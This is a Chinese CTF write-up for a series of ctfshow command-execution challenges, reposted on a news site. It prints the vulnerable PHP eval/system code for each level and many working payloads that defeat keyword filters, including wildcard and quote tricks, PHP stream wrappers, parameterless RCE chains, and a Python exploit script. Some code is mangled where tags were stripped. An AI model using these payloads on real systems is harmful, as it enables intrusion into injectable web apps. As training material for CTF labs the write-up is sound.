目录 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 web43 web44 web45 web46 web47 we
目录
PHPerror_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);}
查看源码发现只过滤了flag字符串,我们只需构造如下payload即可(通配符绕过)
?c=system('cat f*'); //? 也行
也可以使用重造变量的方法来读取flag
?c=system($_GET['a']);&a=cat flag.php;
使用双引号过滤
?c=echo `cat fl''ag.php`; //反引号功能是执行系统命令
过滤了flag,system,php限制了大小写,使用引号绕过
?c=echo `cat fl''ag.p''hp`';
# 用tac绕过对cat的过滤# 用%09绕过对空格的过滤?c=echo`tac%09fl*`;# 用passthru绕过system的过滤# tac饶过cat的过滤?c=passthru("tac%09f*");show_source(next(array_reverse(scandir(pos(localeconv())))));
shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);}
又过滤了.和空格、cat,用重造变量的方法
?c=eval($_GET[1]);&1=echo `tac flag.php`
这题又过滤了echo,反引号,分号以及单括号,单括号,学习了别人的wp。
分号可以用?>绕过,因为PHP最后一条语句不需要分号。单括号的绕过,要用到不需要括号的函数,比如include,之后配合php伪协议读取flag.php源码,进行base64解码
payload:
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
虽然又过滤了一个双引号,但无伤大雅,继续用上一题的伪协议思路即可
虽然又又过滤了冒号,但只对参数c进行了过滤,我们依旧可以用上一题的payload
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
虽然叒过滤了<,但对参数c依旧无伤大雅,同上题
这题新增了0-9数字的限制,但我们只需将get传参的内容改为字母即可
?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
过滤了flag,我们利用data协议
?c=data://text/plain;base64,PD9waHAGC3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==//编码是//或者?c=data://text/plain,
新增过滤了php,file我们利用data协议即可
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
而且还有个新姿势:
我们知道php文档中,每当读取该文档时,它会查找标签,然后只处理上述两个标签中的代码,并在其周围留下其他代码。
例如:
//输出Hello PHP !
但还有一种简洁形式,其实在使用echo() 进行输出时,我们可以使用快捷方法。上面示例可以使用=标签来输出,例:
= "Hello PHP !"?>
说明:“=”是PHP的一个短的开放式标签,是echo()的快捷用法。可以用短标签代替php执行,因此会构造如下payload
?c=data://text/plain,=system('tac fl*');?>
该题自动为我们增加了后缀php,但依旧可以data协议
data://text/plain, 这样就相当于执行了php语句,因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用
直接payload:
?c=data://text/plain,= system("cat fla*");?>
|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);}
该题把中文字符都过滤了,我们只能用英文字符,参考大佬的wp,这里要用无参数的rce
先简单学习一下,参考:PHP Parametric Function RCE · sky's blog
1. localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)2. pos():返回数组中当前元素的值3. scandir():获取目录下的文件4. array_reverse():将数组逆序排列5. next():函数将内部指针指向下一元素,并输出6. show_source()函数对文件进行语法高亮显示,是highlight_file()别名。7. print_r(scandir(‘.’)); 查看当前目录下的所有文件名8. current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名
1. print_r() 函数用于打印变量,以更容易理解的形式展示2. get_defined_vars() 函数返回由所有已定义变量所组成的数组。
这里的localeconv函数返回的数组的第一个“点号”,在linux中代表当前目录,因此我们可以用参数调用到点号,进而查看当前目录的文件
print_r(localeconv());
如下图第一个元素为点号
利用上述结论可以构造如下payload:
print_r(scandir(pos(localeconv()))); //查看点号(也就是当前目录下的文件)
如上图看到有flag.php文件,处于倒数第二个位置
在补充如下知识点
array_reverse() 函数以相反的元素顺序返回数组next() 函数将内部指针指向数组中的下一个元素,并输出。highlight_file() 函数对文件进行 PHP 语法高亮显示。语法通过使用 html 标签进行高亮。同时整个文件也会显示出来//构造如下payload:highlight_file(next(array_reverse((scandir(pos(localeconv()))))));//上述先用第一个函数将数组元素顺序颠倒,随后用next函数,将指针指向flag的位置,最终用高亮显示,将了flag文件回显或者#pos()与current()作用相同 readfile()与作用相同highlight_file()?c=readfile(next(array_reverse(scandir(current(localeconv())))));#show_source()与作用相同highlight_file()?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
还有第二个方法:详情可看上文中链接文章
首先get_defined_vars()
函数可以回显全局变量,我们配合利用var_dump返回全局变量数组内容
如上图我们可以利用get传参,写入我们的命令,首先要方法取出其中的参数
利用pos返回当前元素的值
在通过end函数使指针指向数组中的最后一个单元,并返回该单元的值,在此之前先通过get传入一个参数数据
再用end函数
接着在sky写入读取flag的命令
最终payload为:
?c=eval(end(current(get_defined_vars())));&sky=system('cat flag.php');
这次过滤所有字母和数字以及一堆符号 但是留下了一个或运算符 |
参考大佬的wp这题需要用脚本,利用或运算符进行绕过
这里可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。
# 生成可用字符的集合# rce_or.php=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}}fwrite($myfile,$contents);fclose($myfile);
# 用法python exp.py # -*- coding: utf-8 -*-import requestsimport urllibfrom sys import *import osos.system("php rce_or.php") #没有将php写入环境变量需手动运行if(len(argv)!=2): print("="*50) print('USER:Python exp.py ') print("eg: python exp.py Http://ctf.show/") print("="*50) exit(0)url=argv[1]def action(arg): s1="" s2="" for i in arg: f=open("rce_or.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: #print(i) s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"|\""+s2+"\")" return(output) while True: param=action(input("\n[+] your function:") )+action(input("[+] your command:")) data={ 'c':urllib.parse.unquote(param) } r=requests.post(url,data=data) print("\n[*] result:\n"+r.text)
/dev/null 2>&1");}else{ highlight_file(__FILE__);}
这里先了解一下代码中的>/dev/null 2>&1
>/dev/null 2>&1的意思是 将参数返回的结果重定向到黑洞文件
/dev/null文件可以被看作是一个“黑洞”文件。它等价于一个只写的的文件。所有写入它的内容都会永远丢失(因为不可读)。
/dev/null 2>&1主要意思是不进行回显,让命令回显,我们进行命令分隔
输出黑洞
1:> 代表重定向到哪里,例如:echo “123” > /home/123.txt2:/dev/null 代表空设备文件3:2> 表示stderr标准错误4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于15:1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于 “1>/dev/null”因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”
payload:
?c=tac flag.php;ls;前面的被执行了返回结果,后面的执行了被放入/dev/null中
/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}
这里过滤了cat与分号,构造如下payload
c=nl flag.php||c=tac flag.php||
/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}
这里又过滤了flag,我们可以使用通配符绕过或者拼接字符串的方式,payload如下
?c=tac fl''ag.php||?c=tac fl*.php||
/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}
这里又过滤了空格,构造如下payload
?c=tac${IFS}fl*||也可以用%09或者<绕过 //%09是Tab的url编码
/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}
这里又过滤了数字,通配符以及$,payload如下
使用?绕过对*的过滤
"?"和"*"的区别:
?只能通配某个字符,如flag.php -> fla?.php fl??.ph?
*可以通配整个字符串,如flag.php -> f*
?c=nl%09fl?g.php|| //这里%09还能用是因为,传入时会进行url解码,将其解析为Tab键?c=tac%09fla?.php||?c=nl
/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}
过滤多了more less head sort tail,不过无伤大雅依旧用之前的payload
?c=nl%09fl?g.php||
/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}
过滤了sed cut awk strings od curl以及反引号,还是用上题的payload
?c=nl%09fl?g.php||
/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}
这里过滤了% ,不过依旧无碍
c=tac%09fla?.php||c=nl
/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}
%09,以及&(x26)被过滤了,使用重定向符<>代替空格,但是<>后面不能跟有通配符,我们通过反斜杠\
或者引号来绕过,注:nl不支持通配符使用引号分割
payload:tac<>fl''ag.php||
/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}
这里过滤了tac,可以用nl也可以字符串拼接
?c=ca\t<>fl''ag.php||?c=nl
|\/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}
这里又过滤了<,>但仔细观察发现$又不在黑名单了,这就好办了
?c=nl${IFS}/fl''ag||//但这里注意flag在根目录下,并不在flag.php
|\".$d; }else{ echo 'no'; }}else{ highlight_file(__FILE__);}
这里换成直接明了的echo,system了,那我们直接执行就行
?c=nl${IFS}/fl''ag||
|\
蒙了,过滤的这么彻底,彻底过滤了通配符* , 用 多个?代替
nl也被过滤了,可以使用uniq代替nl,借鉴大佬的
uniq在linux中用来去重 同时也会将去重后的文件内容显示出来,payload
?c=uniq${IFS}f???????
其他payload
#可以使用mv将flag.php文件移动到其他文件 然后访问文件拿到flag ?c=mv${IFS}fla?.php${IFS}a.txt # 使用执行文件目录+?来绕过被过滤的命令 ?c=/bin/?at${IFS}f???????
|\
过滤了 字母、分号、反引号、"%09"、"%26"和 <>,看看大佬
payload1:
同样是利用bin目录
bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php
使用base64对flag.php进行加密同时使用?绕过字母的限制
?c=/???/????64%20????.??? # /bin/base64 flag.php
payload2:
利用/usr/bin目录
主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、newaliases、nslookup passwd、quota、smb*、wget等。我们可以利用/usr/bin下的bzip2 意思就是说我们先将flag.php文件进行压缩,然后再将其下载
先?c=/???/???/????2 ????.???
然后在url + /flag.php.bz2 下载文件
payload3:参考无字母数字webshell
|\
这里又将数字过滤了,参考无字母数字webshell之提高篇 | 离别歌 (leavesongs.com)
总结一下:shell下可以利用.来执行任意脚本
可以通过发送一个上传文件的POST包,只要是php接收到上传的POST请求(请求结束后会删除临时文件),就会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母以及数字
写一个post上传表单
POST数据包POC
构造POC
注:shell程序必须以"#!/bin/sh"开始,#! /bin/sh 是指此脚本使用/bin/sh来解释执行,#!是特殊的表示符,其后面跟的是解释此脚本的shell的路径
?c=.%20/???/????????[@-[]
这里注意cat flag.php下面一行不为空,即紧跟着下面的一行数字(否则不能回显,但我不知道为啥).
|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){ system("cat ".$c.".php"); }}else{ highlight_file(__FILE__);}
这里说flag在36.php中,那么我们想办法构造处36即可.这里参考大佬的做法
这里利用 $(( ))与整数运算。想办法构造出36
双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。 通俗地讲,就是将数学运算表达式放在((和))之间。 表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。 可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。 可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。 注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。
$(())是0$((~$(())))是-1$(($((~$(())))$((~$(())))))是-2这里要构造36,也就是要先构造出-37 然后取反-37是37个$((~$(())))相加最终payload?c=$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))
这道题因为disable_functions禁用了system exec popen passthru
使用读文件函数拿flag
file_get_contents()highlight_file()show_source()fgets()file()readfile()
没有过滤直接用
#payload1c=highlight_file("flag.php");#payload2c=show_source('flag.php');#payload3c=$a=fopen("flag.php","r");while($b=fgets($a)){echo $b;}c=show_source(next(array_reverse(scandir(current(localeconv())))));c=echo file_get_contents('flag.php');c=print_r(file('flag.php'));
过滤了更多函数
这些还可以用highlight_file()show_source()fgets()file()
可以用web58的payload//在源代码c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}c=$a=fopen("flag.php","r");while (!feof($a)) {$line =fgetcsv($a);print_r($line);}c=$a=fopen("flag.php","r");echo fread($a,"1000");c=$a=fopen("flag.php","r");echo fpassthru($a);
禁用了更多函数
c=show_source("flag.php");//奇淫巧技0.0#通过复制,重命名读取php文件内容 c=copy("flag.php","flag.txt"); c=rename("flag.php","flag.txt");#访问flag.txt //之前payload还能用,自己试试c=show_source(next(array_reverse(scandir(current(localeconv())))));c=show_source('flag.php');c=highlight_file('flag.php');
下列payload通杀
c=show_source(next(array_reverse(scandir(current(localeconv())))));c=show_source('flag.php');c=highlight_file('flag.php');
这题用上一题的payload也可以,但还有一个新姿势
var_dump() 函数用于输出变量的相关信息。get_defined_vars() 函数返回由所有已定义变量所组成的数组。
因此我们用var_dump(get_defined_vars());查看一下所有的注册变量
那么我们可以注册一个包含flag.php的变量
payload如下:
c=include('flag.php');var_dump(get_defined_vars());c=show_source(next(array_reverse(scandir(current(localeconv())))));c=highlight_file('flag.php');c=show_source('flag.php');
web64payload都可以
这回show_source()函数被禁用了,而且flag放的位置也改变了
c=print_r(scandir("/")); #查看根目录文件 print_r被过滤可以换var_dump# 注意根目录是flag.txtc=highlight_file("/flag.txt");
提示说highlight_file()函数也被禁用了,我们先继续查看根目录
尝试直接include包含
c=include('/flag.txt');
这个题将var_dump也禁用了,看了下wp说是用多种遍历数组来进行
# 多种遍历数组姿势# 1c=$a=scandir("/");foreach($a as $value){echo $value."---";}# 2 glob() 函数返回匹配指定模式的文件名或目录。返回的是数组c=$a=glob("error_reporting(0);//听说你很喜欢数学,不知道你是否爱它胜过爱flagif(!isset($_GET['c'])){ show_source(__FILE__);}else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { die("太长了不会算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("请不要输入奇奇怪怪的字符"); } } //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("请不要输入奇奇怪怪的函数"); } } //帮你算出答案 eval('echo '.$content.';');}
参考大佬
分析一波源码,get传参c,并且长度不能超过80,设置了黑名单和白名单和正则过滤。按照提示我们去找找一些数学函数进行使用,这么多白名单也注定了有多种payload,这里我使用base_convert()
和getallheaders
配合使用
具体用法可以参考:PHP base_convert() 函数
注意,因为正则会匹配字母,所以我们需要通过base_convert()
进行一个转换
echo base_convert('system',36,10);//得到1751504350,从36进制转换到10进制,36进制包含10个数字和26个字母echo base_convert('getallheaders',30,10);//得到8768397090111664438,这里不使用36进制是因为精度会丢失,尝试到30的时候成功
payload如下:
?c=$pi=base_convert,$pi(1751504350,10,36)($pi(8768397090111664438,10,30)(){1})
这里注意的是箭头处要空两行(但我不知道为啥)否则不会回显
这里思考了一下,为何?这个通配符在上述构造payload时,不能将全部字母替换为?;因为虽然?代表任意字符,但如果你输入???,那么他回显的结果可能会很多,因此系统不知道你认定的是哪个,于是不会成功执行,倘若你在前面加一个c??,那么根据他就会在系统内识别为cat这样就能成功执行(说的有点混乱,大体意思还行).
来源地址:https://blog.csdn.net/m0_74097148/article/details/130094995
--结束END--
本文标题: ctfshow 命令执行
本文链接: https://www.lsjlt.com/news/385713.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
下载Word文档到电脑,方便收藏和打印~
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0